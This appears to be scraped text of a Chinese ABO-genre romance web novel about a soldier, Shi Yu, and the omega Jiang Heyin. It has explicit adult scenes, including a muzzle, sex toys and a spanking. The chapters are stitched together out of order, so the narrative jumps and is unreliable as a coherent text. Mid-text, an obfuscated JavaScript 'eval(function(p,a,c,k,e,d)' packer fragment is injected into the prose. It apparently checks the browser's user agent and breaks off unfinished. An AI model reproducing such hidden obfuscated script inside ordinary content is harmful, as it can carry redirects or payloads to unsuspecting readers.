“他们没有错呀,”他这样说着,眼睛一抬,忽然又对方才服侍时与的那个beta招招手,语气依旧和善,“你叫什么名字?” 那beta没上前靠近他,只跪在原地,声音很轻,低头回答道:“佐维。” “哦,这名字真难听。”塞西尔身体向后倾,懒散靠在椅背上对那经理说,“第八星的人为什么在这儿,实在是脏了你的地方。” 那经理忙不迭点头道:“是,是,就是这样。” —— 时与没回去,反正已经出来一趟,干嘛要碰到点事情就回去,她去周围的店铺随手买了一盘奶油小蛋糕带着,又开始漫无目的地行走,借机直接散散心,觉得也行,挺好。 塞西尔带她来的地方很妙,几乎将她从市中区带到了略有些偏僻的城市边缘,现在的时间并不晚,天色刚黑不久,鳞次栉比的高楼之间夹杂有暗巷,一看就是知道是那些混球们的寻欢场。 小巷中传来一阵吵嚷声,时与把蛋糕丢进嘴里嚼嚼嚼,本来就是借此机会调节一下心情,于是索性停下来看热闹。 然而今天的一切都好像被特意安排过一样巧。 那里应该是起了什么冲突,叫骂和吵嚷都很难听,有人被扔出来,连带一堆杂乱的东西一起跌倒在地,房门“砰”一声关上,世界又重回寂静。黑夜里那人被扔出来像是丢了魂,愣愣坐着,不见有什么动作,就那么呆呆去看那扇门的方向。 时与从他身后走过去,抓着一个小蛋糕摆到他脸前,那人原本还在发愣,见一只手突然伸出来,肉眼可见的吓了一跳。 时与说:“嗨。” 那beta抬起头看向他,两人一时安静无话。 时与说:“吃点甜的怎么样。” beta的眼尾有一颗漂亮的小痣,衣服上还有污渍,望着她张张嘴什么也没说出来,只有眼泪忽然不受控制地在眼眶中蓄满,稍一动就向下滚落。 时与见多了别人流泪的场面,因而也没太大的波澜,只将蛋糕放在他身边,倚到一旁的墙上等他哭完。 beta的眼神跟着她移动,开始只是安静地哭,时与一直没走,于是他才渐渐蜷缩起身体埋起头,有呜咽声漏出来,小猫似的哭声逐渐转变为嚎啕。 几乎有十分钟过去,他颤抖着开始擦眼泪,忽然抓起手边的蛋糕,原本似乎是想往时与身上扔,但终究没舍得,肚子饿的咕咕叫,最后只好憋屈地往自己的嘴巴里塞,一边塞一边流泪一边打嗝。 含混不清的骂声从他嘴里掉出来,眼泪也一起止不住地往下掉:“神经病,你们干嘛啊……为什么牵连我……现在又来装什么好人,王八蛋,混账……” 时与说:“费劲到这里来,但你在第二星过得也没有多好。” “你知道个屁!” 那beta忽然向她吼:“你管我怎么样!老子就是喜欢!” 时与说:“哦。” 她有些冷眼地看他发火,待他吼完这点仅有的色厉内荏的火气,向他伸出一只手,问道:“要不要起来走走?” beta咬着嘴巴,看她的眼神很凶狠,与时与那双漆黑的眼睛对上,终究还是抽抽鼻子拉住她的手。 他身体很轻,脸上的妆已经哭花了,粘在脸上不再精致,又狼狈又丑。时与猜测这位beta先生是偷渡来的黑户,因为她白天还刚听了一耳朵第二星的移民政策,宽容开放到她都觉得心动。 时与放开他的手,问他道:“有什么东西要拿吗,地上那些要不要捡走?” beta说:“你给我钱的话,我就不要了。” 时与问:“为什么不去找一份正经的工作,我知道即使没有身份,在第二星也有许多工作可以做,你是beta,多出点力气总比这样要强。” beta说:“你的屁话真多。” 时与耸肩。 两人站在这条几乎照不见灯光的小巷,又安静了一会儿,忽然默契地抬起脚步一前一后向外走。beta跟着时与,垂着头,微凉的夜风吹在脸上,把脸吹得紧巴巴,身上的伤口行动间生疼。 他抬起袖子去擦脸,脸上的妆擦得更花,泪珠滚滚向下滴落,鞋子上、衣服上的眼泪越擦越多。 他看着时与的背影,忽然道:“alpha才能找到正经的工作。” 时与问:“嗯?” “第二星的政策写得漂亮,但实际工作只要alpha,我不是偷渡的黑户,我是外星来的移民,我只能做这个。”他抽着鼻子,“你看到的好世界都是alpha的,不是我的,我是你们想放松时候的玩物,只不过都怪你,现在我连这份倒霉角色也没得做了。” 时与说:“哦。” 她问:“你有落脚的地方吗?” beta说:“没有。” 时与说:“知道了。” 时与问:“你说找不到工作,那你会做什么呢?” beta说:“我会做民用武器研发和高频激光维修,我有高级工程师证,也会闭上嘴坐在alpha的腿上摇屁股。” 时与说:“啧,你真是。” 她依旧慢悠悠向前走,没再问更多的问题,比如分明有这样好的条件,都到现在这种程度为什么还呆在这里,为什么不直接选择引渡回第八星去,他其实能凭借自己的本事在第八星拿到一份不算微薄的薪水,留在老家估计活得不错。 活得艰难但永远安全,稍微舒适一点头顶却永悬利剑,不同的人有不同的选择,时与会选后,这位beta先生显然选前。 第二星各处方方正正规规矩矩的样子,路上的行人沉默的行走,一条南北方向的路,向南的靠左,往北的靠右,泾渭分明的两列互不干涉,永远挡不到彼此的路。 城郊的高楼上有靡丽的灯光,打开的窗户里有若隐若现的美丽皮囊,埋头行走的路人有时转个弯拐进小巷。 时与拿着蛋糕在路上旁若无人的品尝,身后的beta身上味道复杂,妆容擦得吓人,当然也有人用或好奇或鄙夷的目光打量他们。时与在这种事上往往不为所动,然而身后的beta却害羞,低着头借她的身影遮挡,几乎要贴到她身上。 她都快要能感觉到beta的体温,这也太近了点,时与又咋舌,停下脚步,那beta没察觉,一下子撞上她的背,发出一声微弱的痛叫。 时与翻白眼,对身旁一个盒状的设施一抬下巴:“喏,取水系统,去洗个脸再跟着我行吗。” beta抽鼻子,说:“哦。” “你哦个屁,”时与抱臂,发现碰见和二星沾边的人就心累得要死,无语道,“鬼似的,不是有防水的化妆品吗?” beta弯腰洗脸,声音透过水流含糊道:“你给我买我就用。” 时与说:“做这一行都攒不下钱,穷鬼啊。” beta抬头,继续用自己的脏袖子擦脸,生硬道:“对。” 他洗得差不多,时与这才叫了辆车过来,说实话除了军部那些运输车之外她很少见到要配司机的车辆,乍一坐上去还觉得难受。 一路无话,时与把他带回了这次的住所,为他另要了一间客房。 这家伙怎么处理属实难办,或许明天应该和苏兰亭商量,别说他确实有技能在身上,大人物们提一句的话,就算是烂泥都能扶上墙,一点小事,她觉得自己应该帮得上。 脏衣服脱下来扔掉,时与钻进浴室洗澡,脑袋里还在思考这个倒霉beta的破事,第二星无论如何都比第八星要好,可惜这么好的地方和她八字不合,沾上一点肚子里的气就叹不完,心超累,待一天老十岁。 洗澡都不清爽。她盖着条浴巾出来倒在沙发上,手有一搭没一搭擦着头发,不想吹,想这样湿漉漉的先睡一觉,有事都放到明天再讲。 脑机里江鹤吟的对话框又闪起来,睡前的新消息,估计又是撒娇晚安要搞那种隔空的亲亲抱抱,她打开,两个大字印在脑子里忽闪忽闪。 江鹤吟说:[开门。] 时与想,啊? 什么鬼话,她躺在沙发里撑起头,根本不敢理解这句话的含义,震惊以肉眼可见的速度从脑内蔓延到脸上。 房间里突然响起敲门声。 我靠,时与想。 第40章 第 40 章 alpha戴狗嘴套会变…… 这家伙出牌简直不按常理。 她没应门,也没回复江鹤吟的消息,飞速起身套了件衬衫在身上,不知怎么的略有心虚,想找个除味剂之类把刚扔掉的那身衣服喷一喷,然而可惜alpha们一般不用这东西,时与只好将它们又往里塞几下,确定没有味道能散出来才作罢。 ……不对。 好可笑,她凭什么要觉得心虚,时与想到一半又开始不爽。 她动作很快,江鹤吟果然在门口站着,背着手,见时与打开门都没来得及露出笑脸就被一把拽进去。 时与身上还有蒸腾的水味儿,一副洗澡才洗到半程就紧急出来的样子,湿漉漉的头发染湿领口,脸颊也沾着几缕凌乱的漆黑发丝,皱着眉看他,但看上去不凶,似乎是很无奈。 江鹤吟自觉这次没做错什么,被时与拽了个踉跄挤进门来,他勾唇对时与狡黠一笑,也不嫌弃时与身上湿乎乎,伸手环住她的脖子,小狗似的蹭蹭她的脸颊:“时与——好想你哦。” “你洗澡啦。”江鹤吟偏过头又去亲她的嘴角,时与一点都不反抗,任由他乱动,这让江鹤吟又觉得开心,心想自己一直这样做果然是对的,瞧吧,alpha已经脱敏了,实在是卓有成效。 他问:“你怎么这么晚才洗澡。” 轻盈的花香扫过时与的鼻尖,温热体温与自己贴紧,时与微垂着眼睛,因为一整天的破事而觉得压抑疲惫的身体和精神都慢慢放松下来,莫名也觉得很安心。 时与:“……我还要问你怎么这么晚突然往这里跑呢。” 江鹤吟:“想你嘛。” 小心地关上门,江鹤吟还黏黏糊糊扒在她身上,于是时与索性抱孩子似的把人托起来,走到房间里把他端端正正放上沙发。 江鹤吟行动和言语素来讲究打蛇随棍上,被放下来就立刻脱了鞋子盘起腿坐好,眼睛巴巴地看时与,澄澈的眼神不见有一点想做坏事的模样。 一A一O深夜有什么有趣的活动可以做吗? 江鹤吟抿嘴脸红,时与的头发没擦干,水滴落在身上那件薄薄的衬衫上,打湿的衬衫勾勒出流畅的肌肉线条。她肩背很宽,腿很长,身材相当得漂亮,有时候江鹤吟觉得自己其实也有赚到。 特别是想想自己待会儿要干什么就觉得好爽。 时与:…… 时与:“你坐在那儿美什么呢?” 江鹤吟跪起来向她身边挪动几步,俨然是一副标准意义上狐狸精的样子,他将手搭上时与的肩膀对她耳边吹气,时与觉得他好像立刻就要开口叫自己“大王”似的,鸡皮疙瘩先一步准备集合。 江鹤吟没那么恶俗,只说:“我给你擦头发好不好?” —— omega的手法很不熟练,他显然没做过这份工作,拿着毛巾只用很小的力气就达成了很粗鲁的效果,像在给小狗呼噜毛。 冷冷的头发丝在脸上胡乱地拍。 时与闭眼,任他这么怀着真情实意玩耍的心态假模假式帮忙,心想江鹤吟这样的家伙应该是相当好命的,出身这样高,连这点事都不会做,估计是那种一出生就被家里人指着鼻子说“宠,狠狠宠”的类型,最近行动间愈也发像个放肆的小混蛋,想来也没有被人过多地管束…… 就是有点太放肆了。 头发擦到一半都没干多少,她闭着眼睛,感觉到脸上被贴上来一个略带凉意的面罩,脑后传来锁扣闭合的“咔哒”声,她先是一愣,伸手摸了摸,弄清楚这是个什么东西后抽抽嘴角气得想笑。 脸上多了一个纯黑色的半镂空面罩,与她过白的皮肤和过黑的发色配在一起相得益彰,显得她锋利又危险,脑后是结构复杂的皮制绑带,止咬器价值不菲,设计的巧妙,她笑起来,江鹤吟依然透过缝隙看到alpha那两颗尖利的虎牙,这样的角度反而更觉得危险,他夹夹腿,觉得很有效果。 毛巾早被扔到一边,他做完一切自己也知道心虚,见时与转过头立刻软下身子贴在她身上,眨眼无辜道:“礼物……” 时与问:“你送止咬器给我?” 漆黑的眸子盯着他,时与声音幽幽好像恶鬼索命的背景音效,她问:“少爷这是准备包养我啦?” omega们戴抑制贴抑制环十分常见,甚至设置出了许多不同的花样,然而相对的alpha们却并不喜欢止咬器,总觉得这是什么折辱似的,因此这东西目前一般只会在几个固定的地方现身:混合性别的监狱或者情趣play现场,也有人轻蔑的管这玩意叫狗笼套。 江鹤吟显然是对她这样的表现早有料想,像一块柔软的果冻从时与的身后融化到她怀里撒娇,见她眼睛看过来,立刻按住她的手耍赖一样小声哼哼。 他又爬上来抱着她,一只小鸟也忽然飞出来,和他一左一右埋在时与的脖颈间又亲又蹭,哼哼唧唧嗡嗡个不停。 一面触觉感受良好,一边又毛茸茸,芳香绕在鼻尖,时与坚持了两秒就决定妥协。 好了亲爱的时与女士,她想,你在生什么气?没必要,这主要要怪你自己有问题,戴上这个不失为一种解决手段,你该夸他是聪明宝宝。 江鹤吟抬起眼睛偷偷瞄她,被轻轻扯住头发向后拉了拉,他小小声叫痛,见她眼神重新往无奈的方向发展便知道此事揭过。 时与脖颈处的小鸟蹭蹭她,然后消失不见,她拢起江鹤吟的身子把他的背捋直,问道:“不是被关禁闭了吗,怎么出来的?” 江鹤吟说:“我母亲放出来我啦,我都没有挨骂。” 时与对他显然不够放心:“今晚上呢,你家里人知道吗?” 江鹤吟抬起眼睛看看她,话到嘴边忽然改了口,故意语气委屈道:“……偷跑的。”。 好,早有预料。 她问:“想好怎么回去了吗?” 江鹤吟看她的眼睛,睫毛扑闪得像漂亮的小扇子,他的脊柱立刻又消失了,没支撑似得趴在时与身上:“你帮我嘛……” 时与只好闭上眼逃避,希望今天的一切都是幻觉。 江鹤吟没等到回应,哼哼了两声发现时与已经放弃抵抗似的仰过头,他爬起来,摇一摇时与的肩膀,时与看上去像是已经死了一会儿似的硬邦邦。他噗嗤一笑,脸又贴在她胸上:“我自己能回去,我经常偷偷出来的,你……哈哈哈……” 时与的嘴巴被止咬器隔离,已经亲不到,于是江鹤吟轻轻去舔咬她的耳垂:“你别这样,起来啦,我还有别的礼物……你要看吗?” 麻酥酥的,但时与还在装死,江鹤吟与她十指相扣,将她的手举到身前,一只手放在腰上,一只手放到嘴边。 江鹤吟很喜欢她的手,以前就觉得好看,她的手指细长,骨节又分明,指甲剪得很圆,动起来时手背上的三根筋若隐若现。 上一次是……江鹤吟咬住两根,把她的食指和中指放在嘴巴里轻轻吸吮,舌头蹭过指腹和指尖,能感觉到上面有一层磨人的茧,吐出口时拉出一条暧昧的丝线。 时与看着他,似乎有些不可思议,身体有些僵住,江鹤吟趴在她耳边轻声呢喃,说出的话自己都觉得淫乱,他说:“上次其实好舒服,如果你不咬我的话……这次轻一点好不好。” 同样是疲惫的夜晚,同样是沙发,他也依旧坐在时与身上磨着她的膝盖。 时与没动,反倒是江鹤吟这次进入了那个吃人的角色似的,食指中指咬过,又把无名指含了一遍,在时与耳边轻声吐息。 他说:“你不能弄疼我,所以我买了一点小玩具……” 他总带着一个漂亮的手包,不过今天换了一款,从进门时时与就发现了,原本还以为是为了装她脸上这个止咬器,现在看来不止。这一只手包看上去更大些,拉链是打开的,他把时与的手从嘴巴里放出来,又拉着她伸进里面。 人类有丰富的神经末梢分布在嘴唇、舌头和手指的指尖,触觉敏锐,时与顺着他的力道,摸到一些形状各异的小东西。 “你要轻轻地……你可以试一下,有很多,喜欢的话也可以把我绑起来……” 时与看着他低垂下的眼睛和已经羞赧通红的脸,觉得自己好像能听见血液的流动。 她抱着江鹤吟,心脏怦怦跳动,忽然涌起一阵巨大的恐慌感。 止咬器用一个皮扣固定在她脑后,其实她伸手可以解下来。但她没有这么做,只是把自己的牙齿重新收回去,突然觉得这是个非常成功的小礼物。 她问:“止咬器有锁吗?” 本来就是为了情趣用的小道具,江鹤吟摇摇头,谁敢真正给alpha设计个锁在上头。 时与又抱着他沉默了一会儿,忽然带着这个狗嘴套蹭了蹭他的脸颊。 她说:“下次装个锁上去,或者干脆换一个……监狱里的那种也很好,你可以给我带上。” 26. 第 26 章 特战部在第八星地位比较特殊,颇有些超出三界外不在五行中的意思,其中人员都是些个人风格突出、精神体离谱,偏偏作战技术成熟的奇葩刺头。他们并不参与日常的训练,只在虫潮来袭时冲锋在前,死亡率和战斗力一样高,普通的违纪或处罚并不被他们放在眼里,平日有些缺乏管束。 从一群不停闯祸的混蛋里面挑出个稍微正常点的人类已经有点困难,如果这朵精神状态正常的奇葩还能力压群芳,那就实在是非常难能可贵——时与正是这样一个人,她是一张连接起所有队员的网,直接拉高了整个特战部的含金量,本身的价值比她偶尔惹出来的麻烦大得多,因此拜森上报的那些事对她而言原本就不痛不痒,生气就只是纯生气,哪里需要江鹤吟给她解决什么困难。 这次作战的假期只有三十天,不算短也不算长,执勤是真的,假期结束后她就要去阿斯克勒。 她看着江鹤吟凑过来,不知道这一晚上他的脑袋瓜里都想了什么,但昨天对拜森说得那套借口完全是为了给两个学生脱罪随口一提,肯定不会带两人出去。 阿斯克勒是环绕第八星的卫星之一,与第三星那个著名的学校同名,意思是医药之神,民间也有人习惯叫它月亮二号,这是一个有点浪漫的、从古人类时期就传承下来的称谓。它的运行很稳定,是第八星星外交通的一大枢纽,可惜环境恶劣,上边荒无人烟,基础设施比第八星这颗联邦最末的近荒星都要差劲不少,驻扎在上主要是为了管控星外交通和监控未来的虫潮。 她之前去过那里几回,很没意思,普通的工作不需要他们来进行,于是只能天天套在机甲里一边看别人干活一边和苏鸿玩联机游戏,脑子都快打麻了才回来,回来就发现时夏已经开始和苏鸿谈恋爱。 帮战友照顾远行的家人结果照顾出爱的火花,世界上哪里有这种混蛋,时与一想又来气。 ——说来说去,总之那是个超级差劲的地方。 江鹤吟依然在贴着她撒娇,似乎不止是扎了头发化了妆,他身上还有非常浅淡的模拟信息素的味道,像什么花的香味,比时夏上次买的那个要好闻不少。 这东西在beta之间很流行? 她附身轻嗅一下他的脸颊,飘远的思绪暂时被拉回,问道:“这是什么花?” 她凑近,江鹤吟还是下意识往旁边躲闪,半边脸落在光下,阳光一照,时与能看到他脸上微小的绒毛。 时与在看他。 江鹤吟抿起嘴巴,脸上红晕再深一层,对她眨眨眼睛:“橙花。” 时与说:“哦。” 橙花是啥。 她又低下头闻了一下,依然没闻明白,心想橙花是什么花,橙子树开的?结橙子吗?还挺香,花竟然比果子好闻,真够奇怪。 江鹤吟这次不动了,老实站在原地任由她靠近,见时机差不多,飞快偏过头对她脸颊轻啄一下,时与一下愣住,他就又向前挪了一点,双手搭上她的肩膀:“你喜欢吗……我好喜欢你,你是不是也喜欢我啊?” 他没将自己的抑制贴取下来,只是从强效版换成了普通款式,一点点信息素从其中逸散出来,味道清淡却相当勾人。 江鹤吟眼睛弯弯,明亮的好像月牙,他稍微踮起脚,鼻子蹭到时与耳后去,鼻尖触碰到耳垂,呼吸落在她的颈上,引得她竖了一脖子鸡皮。 被亲吻的地方仿佛还残留了触感,时与没想到他会来这一出,大脑与宕机只有一步之差。 ?? 昨天她是拒绝了吧? 成年人都知道点到即止,但江鹤吟根本不按常理出牌。他年纪还小,目前一帆风顺的人生里只会遇到三种事:一种被明令禁止、一种能轻易得到、一种则需要他撒撒娇。 江鹤吟认为这次是第三种。 他说话黏黏糊糊,声音很小:“你昨天说要带我去哪儿啊——” 时与一把抓过他的头发向后扯,表情着实难以言喻。 她说:“带你去看看脑子。” —— 上次的虫潮已经过去了将近半月,第八星位于联邦的前线,虫潮本就频繁,因而对这种事很习惯,这次的规模不大,人们像机器中的齿轮各司其职,一切步骤进行的有条不紊。 民用飞行器预计在这周恢复通行,一架外围涂着军部迷彩的民用航空艇徘徊在远轨道,里面几人听闻这个消息几乎要喜极而泣。 一人问道:“具体呢,具体还有多久?” “最多三五天,”另一人回应,“只要等阿斯克勒开放,他们在检查那里是否还有虫族藏匿以及是否还有卵残留。” 那人说:“明白了,小少爷那边怎么样?” “还没有消息,主家说他平安,要我们找到人就立刻带回去。” 家里的少爷柔弱美丽,即使要强行将人带回来也并不是麻烦的差事,虽然暂时无法联系到带队的老师,但学生们确定在第八军部停留,去向已定,想来也就是医疗部能让他们进行所谓的“志愿活动”,到时候去联系医疗部的长官应当很容易。 江鹤吟被时与拉着,浑身上下只有两只脚作刹车状接触地面,很无望地扑腾,像是要被拉到绝育路上的猫狗。 “你放……你放开!”他也向后拉扯时与,可惜力气太小,浑身绷紧了也没办法让时与那边速度稍慢一点,“不要动我……好疼!” “好疼!好疼、呜……” 他叫得很夸张,拖着脚向后磨,又拼命去挣她的手,时与烦的“啧”一声,回过头刚要骂他,就见他两手手腕真被她攥起一圈红痕。 她把江鹤吟甩开,江鹤吟立刻原地蹲下缩成一团,捂着手腕哭。 时与:“我不明白,你这样有什么好闹的?” “喂。” 她蹲下,手搭在膝盖上,歪头去看他的脸。江鹤吟很爱哭,从他们见的第一面到今天,每次都是一不小心就要掉眼泪,但这次哭得尤为梨花带雨,狗见了都要怜惜他一下。 时与色厉内荏地叫几声,被他这样子搞得非常理亏,只好尽量放轻语气,心中却又觉得这时候再反复横跳去安慰他会很不合时宜,只好叹气道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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易感期的情绪起伏就是这样大起大落,他忽然坐在原地流泪,哭得真情实感。 时与心想我的苍天,你这点叛逆程度比不上特战部任何一人一根手指头,真希望那群王八蛋知道你的事迹之后排着队过来跟我以死谢罪。 简直不敢想二星这群人得听话成什么样……但凡换个理由她就顺坡下了,但看江鹤吟这个样子她点点头估计要哭死,谁敢在这时候欺负人。 “江鹤吟,”时与把他的头发别到耳后,强制掰正他的脑袋让他看着自己,“不是你的问题,你特别好,你是二星聪明的小少爷,前途一片光明,值得所有人喜欢。” “那你……” 时与扶着她的脸,尽量让语气更诚恳些:“我是连第八星都瞧不起的贱民,江鹤吟,精神体的异变会影响我,你很完美,但我是残次品,我和任何人都没有可能建立亲密关系。” 50-56 第51章 第 51 章 我们来谈一谈星辰和虫潮…… 时与说:“好了,嘘,收声。” 她拍拍江鹤吟的背,江鹤吟喉咙里又挤出几声短促的呜咽。他今天前所未有的听话,时与不想听他哭,他就扶着时与的肩膀咬自己嘴巴,身体一颤一颤,只有几滴眼泪没忍住又继续掉下来,但很快就憋住不再流了。 他趴在时与身上,时与有一下没一下地抚摸他的脊背和头发,问道:“身体怎么样,还有不舒服吗?” 江鹤吟摇头,他抽抽鼻子,非常非常小心地去嗅时与的味道,鼻尖轻碰到她的皮肤。 他问:“你还……生气吗……?” “不生气,”时与闭起眼睛,压着他的脑袋揉了揉,“天天气你的事,我早被气死了。” 江鹤吟说:“对不起……” 时与:“嗯。” 时与问:“反省了吗?” 她问起话有点像个叫人害怕的老师,江鹤吟只觉得又有点想哭,但时与已经慢悠悠把他从身上推开看着他,他不敢,只好不停地眨眼睛憋气,顺从地点头。 “反省出什么了?” 什么也没反省出来,江鹤吟哪里来得及反省。他看着时与的眼睛,缓缓低下头不出声,信息素悄无声息漾出一阵阵的委屈,像一棵小藤蔓轻轻攀住时与。 又搞这一套。 时与揉揉眉心,江鹤吟的沙发很深,于是她又向后挪了挪,把江鹤吟压到自己膝盖上,翘起腿,一手捋着他的胳膊,将他两只手腕也按在后腰。 时与在alpha里面都是强壮有力的类型,江鹤吟显然反抗不了,他腰塌下来,屁股被顶住上翘,这姿势有点太羞耻,他几乎整个人都僵住,脸上“腾”地烧红,扭过头颤声叫她,声音细若蚊蚋。 “时……时与……?” 时与说:“没反省也没关系,我们从头开始说,我看你刚睡醒,应该也不想继续休息。” 安静的房间里忽然响起一道巴掌着肉的声音。 江鹤吟猝不及防发出一声痛叫,时与建议道:“反思一下还做过什么坏事,从你在第八星装成bata开始。” 江鹤吟:“我……我没……呃啊!” 好疼,他绷起身体想往旁边躲,但是时与压他的手好像一双铁钳,他一点都动不了,顶多抬起头脚,真像砧板上的鱼。 时与不过揍他两下,甚至没用多少力气,便见他很徒劳地仰头伸腿兀自挣扎一番又放弃,刚憋回去的眼泪吧嗒吧嗒重新往下滴。 她说:“啊呀,你是说没有?” 狗都不信。 “我……我……呃唔!” 她压着江鹤吟的腰,江鹤吟太瘦了,薄的像片纸,挣扎的力气都不如时夏的小猫大,呜呜咽咽嘴里不知道胡说了什么,看着都觉得可怜。 她很有分寸,江鹤吟又一向哭得夸张,现在看着可怜,但实际身上只是有些变色,没肿也没有瘀痕,于是时与开始威胁:“不许再哭。” 江鹤吟:“呜呜……” 时与给他擦擦眼泪,没用,擦不完。手威胁性放到江鹤吟身后,江鹤吟就立刻咬起嘴巴噤了声,他把脸埋在沙发上,像故事里遇险的鸵鸟一样埋起头不动,希望敌人赶紧走。 时与总觉得他在装,但江鹤吟没有,他哪里挨过打,又疼又羞耻又害怕,脑子里烧得快要冒烟。 他先前只觉得时与的手好看,手指又长又漂亮,哪里想到打人的时候这只手有这么大这么硬,上一记责打的疼痛还没完全消化,下一记就又要盖过来,根本没机会思考别的事。 他埋着头,感觉到时与手指弹琴似的按压过他身后的皮肤,他浑身汗毛直竖。 时与说:“机会只有一次,现在不说,以后再被发现的话……” 江鹤吟:“不是……不是……” 他说:“你别生气……呜呜……时与……你别生气……” 时与见他面色潮红,哭得又有些打嗝,像是有些喘不过来气,终于还是又帮他调整了一下姿势,她把江鹤吟抱起来,让他整个人□□跪住,上身趴在自己肩上,说道:“我不生气。” 江鹤吟还有点抖,又缓了几分钟,身体不安地挪了挪又顿住。 他咽了口唾沫:“我去查过你的资料,详细的,给母亲看过……我只知道她和你们的指挥官通话了,但后续好像没有别的,不知道对你有没有影响。” 时与大概也猜得出,不然当时苏道之情绪也不会那么不好,她说:“没关系。” 江鹤吟说:“我……我去看了你的弟弟,是另一位,游乐园里见到的那个……” 时与:“哦。” 他压在时与身上,能感受到她肌肉的动作,时与姿势稍变,江鹤吟怕她又要打,立刻站队:“都是他们有错!” 时与被他笑到,她圈住江鹤吟的腰,不轻不重拍了一下:“不要自己去那么危险的地方。” 江鹤吟:“……唔嗯!” 时与问:“都说什么了?” 江鹤吟扒着她的肩膀不动,觉得有点不妙:“也没什么……就是问了一些你们以前的事。” “以前的事?”时与惊奇,“他都告诉你了?” “他在发情期,你又打他……”江鹤吟偷偷摸摸看她,见她确实不那么生气,如实招道,“很脆弱,又想你……哄一下就全说了……” 时与心说你真行,心思全都花在自己身上实在屈才,简直都想夸他一句,她问:“他们过得怎么样?” “呃……更差了……?”江鹤吟小心注意自己的语气。 他看着时与,想起当时和那位弟弟说过的话。时与的精神体太不好,在下城就像个小灾星,如果她再厉害些——像现在这样,那邻居们可能会避之不及,但可惜她当时只是个屁大的小孩,居民们对她的存在表示愤怒。 她的爸爸带着孩子长久寡居,一个倒霉的、生出小灾星的omega又能怎么办?想继续在那边过下去无非是要亲自动手驱邪摆明态度,江鹤吟是omega,自然能共情一个omega的处境,但真因此受伤的毕竟是时与,他简直不知道该怎么说,头皮发麻,忽然有点后悔真坦白这件事。 他把头又埋起来,声音闷闷的一股脑往外挤:“你的爸爸后来又嫁给别的alpha,条件稍好了些,有别的孩子生下来,但是有的死了……” 时与安静听着,对此不做置评,脑袋像旁边偏,也没像江鹤吟想得那样有什么不好的反应——狂性大发什么的,只是默默顿了一会儿,忽然道:“第八星就是这样。” 她把江鹤吟从肩上拿下来,江鹤吟很乖,伸出手搂住她的脖子讨好她。 “是该和你说的,”时与挠挠头,竟像是也有些苦恼,她抱着江鹤吟口气像讲故事,而且是从开天辟地开始讲。 她说:“第八星……它的资源其实不算贫瘠,你也知道,能成为联邦的一颗大星,人口、矿产、气候、星群中的位置等等,实际上与你们相比都不遑多让。” “最大的问题是频繁的虫潮,我们的资源足够自给自足,但一边抵御外患一边跟上你们高速的发展显然做不到,有些科技能被引进过来,有些不行,民众生活一般很糟糕。” “虫潮……其实我能理解我家当时的做法,你不用这样……第八星确实非常忌讳这个,并不仅仅是因为它会影响到我们的发展,虫潮抵御不好的话虫族确确实实会侵入到地表杀人损物,因为这个死亡和受伤的人非常多,不怪幸存的人会对这个敏感。” 江鹤吟默默听着,头靠在时与身上听他说这些事。 时与难得与人认真说这些,话说出口被他这么盯着,反而觉得不自在,伸出一只手糊住他的脸。 江鹤吟挣扎:“你干嘛!” 时与:“看得我怪不好意思的。” 江鹤吟又挣扎了一会儿,把她的手扒下来,见她与往日无异,轻轻咬了下她的手,幽幽道:“你们真怪,能碰到真的虫潮,还分不清虫和虫族啊……” “名字差不多就要忌讳啰。”时与笑。她把江鹤吟抱紧了一点,凑到他脖颈间闻他的味道,脑袋拱在他的脖颈间,看上去倒像是她在撒娇。 时与继续说:“你知道我有两个ID,旧的落在下城,新的和时夏一起。” “被赶出来的时候还小,勉勉强强活下来就到处流浪,脑子也不太好,有天捡到个走失的小孩子,觉得哎呀天赐良弟,就带着照顾了,后来被他家里找到,我也就顺便被收养,有了第二个户籍。” “后来有一场大虫潮失控,收养我的家庭所在的地区首当其冲……很少有人倒霉到短时间能当两次孤儿吧?反正已经倒霉的要死,也不管是做炮灰还是做什么了,干什么都一样,军部钱还多些,就直接进了军部。” 江鹤吟问:“然后你在军部先用的以前的ID吗?” “你是不是把我查干净了?”时与捏着他的脸往外拽,“当时其实还有点疙瘩,觉得时夏特无辜,不能瘟到他,我应该瘟一瘟以前那一家人,就用的旧ID活动,没想到后来要申请同一间宿舍的话旧ID和时夏没血缘,没办法才换过来,所以才两张卡都有效。” “说这么多,反正就是……”她一时也有点不知道应该怎么组织语言,“第八星就是这么不好,但我在第二星待了一会儿,又实在适应不来这边,今天来也是为了这个。” 江鹤吟说:“我也没有要你……” “你以前说要住到第八星去,但那是你不了解情况,我认为不能作数,所以才把这些危险告诉你,你重新选也没关系。” 时与说:“你依然可以住在第二星,怎么样?第二星往返也不过二十几天而已,我的假期很多,我们依旧可以经常见面。” 江鹤吟:“我还以为你要说跟我分手。” 时与说:“从来没这么想过。” 江鹤吟说:“可是我也不想和你分开,二十天已经太长了,不能叫经常见面。” 江鹤吟说:“我第一次去就遇见虫潮了啊,甚至还是在星外,我不害怕,我很愿意到第八星去。” 江鹤吟说:“真的,好不好?” 第52章 第 52 章 我是omega,听不懂…… 时与并没有在江鹤吟这里待太久——当然也有可能她先前已经在窗前等过,只不过江鹤吟不知道而已。 总之两人没有花多长的时间温存和打闹,至于更过分一点的事——诸如说夜探宫闱秽乱指挥官大宅,在指挥官儿子的房间里做点色情动作戏之类的就更没有。 江鹤吟觉得时与有时候有点纯情有点保守,半夜三更闯进来竟真的只为与他聊聊现在过去和未来,这真好,但好过之后又觉得叫人遗憾。 他窝在时与怀里,垂下眼睛放下这些乱七八糟的绮思,当真在挨了收拾之后又一遍反省自己的所作所为——他一般不这么干,因为一切首先得以他的意愿为准,但现在再想想确实是越想越心虚。 时与对于这些可能有点严重的问题只是高高拿起轻轻放下,只不过轻轻教训一顿就放过他,这一点小苦头顺便带走了江鹤吟那颗从醒过来就不安定的心脏,他显然已经清醒了很多,不像是一开始那样无措和恍惚。 庄园里永远是刚好宜人的温度,时与又拍拍他,江鹤吟仰起脸,轻声说对不起,时与已经给了他原谅,旧事翻篇,他们还有更重要的未来要看。 时与显然拿到了想知道的答案,也觉得差不多,她轻吻他的额头,把他放下来重新回到窗前。 睡衣很单薄,江鹤吟亦步亦趋地跟着,又想向时与撒娇,委屈道:“你为什么不直接偷走我?” 